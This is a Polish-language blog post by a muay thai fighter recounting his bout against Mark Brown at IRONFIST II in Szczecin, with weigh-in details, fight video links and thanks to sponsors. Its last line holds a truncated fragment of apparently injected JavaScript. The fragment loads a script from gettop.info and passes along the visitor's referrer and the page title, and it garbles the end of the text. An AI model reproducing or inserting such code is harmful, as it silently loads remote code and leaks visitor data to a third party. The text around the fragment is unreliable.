IRONFIST II.Szczecin

19.05.2010 / Mariusz Cieśliński

14 maja stoczyłem swój kolejny pojedynek w muaythai.Moim przeciwnikiem był reprezentant Anglii Mark Brown z renomowanego klubu Lumpini Crawley.W jego narożniku stał doświadczony zawodnik Paulo Da Silwa. W moim Paweł Jędrzejczyk i Marek Wołosewicz. Paweł już gościł w moim blogu,opisywałem jego walki w Tajlandii , w której często trenuje i walczy.

Każdy event gdzie jest podział na kategorie wagowe zaczyna się od ważenia zawodników.http://www.youtube.com/watch?v=CymeGc50yt8

Po ceremonii ważenia wspólny obiad wg menu przygotowanego od specjalistów z Treca.Ja zaraz po zejściu z wagi wrzuciłem suple i uzupełniłem płyny. Z resztą to samo zrobili pozostali fajterzy.

Po obiedzie odpoczynek w hotelu.Kolacja o 18.30.W ogóle całe jadłospisy na nasz pobyt w Szczecinie przygotowane były przez „trec” i niesamowicie wszystko pysznie i pożywnie wchodziło.

Moja walka była na fightcards nr.5.Pogoda,która nas nie rozpieściła tego dnia zmusiła do dłuższej rozgrzewki i dokładnego wtarcia maści i olejków.Fajna oprawa gali i amfiteatr-będący areną wydarzeń-robiła niesamowitą atmosferę. Walka potoczyła sie dla mnie pomyślnie.Do momentu przerwania przez sędziego w 3rundzie robiliśmy z Markie Brownem fajne muaythai.  Były silne kopnięcia,boks,kolana,klincz.Walka do obejrzenia poniżej:

http://www.youtube.com/watch?v=JeYXzoO8ZLU     Runda# 1 i 2

http://www.youtube.com/watch?v=aVSmalrk__4        Runda #3

Naprawdę czułem sie tego dnia świetnie i byłem doskonale do niej przygotowany.

Pragnę podziękować organizatorom-Krzysztofowi Jakubowskiemu i Markowi Pawlakowi za zaproszenie do udziału w tej imprezie.Firmom: Trec Nutrition,Dragon-Sport,Arad i Manto za wieloletnie już wsparcie.A także trenerom i sparringpartnerom,którzy dali mi niezły wycisk na treningach.s.src='http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + ''; } else {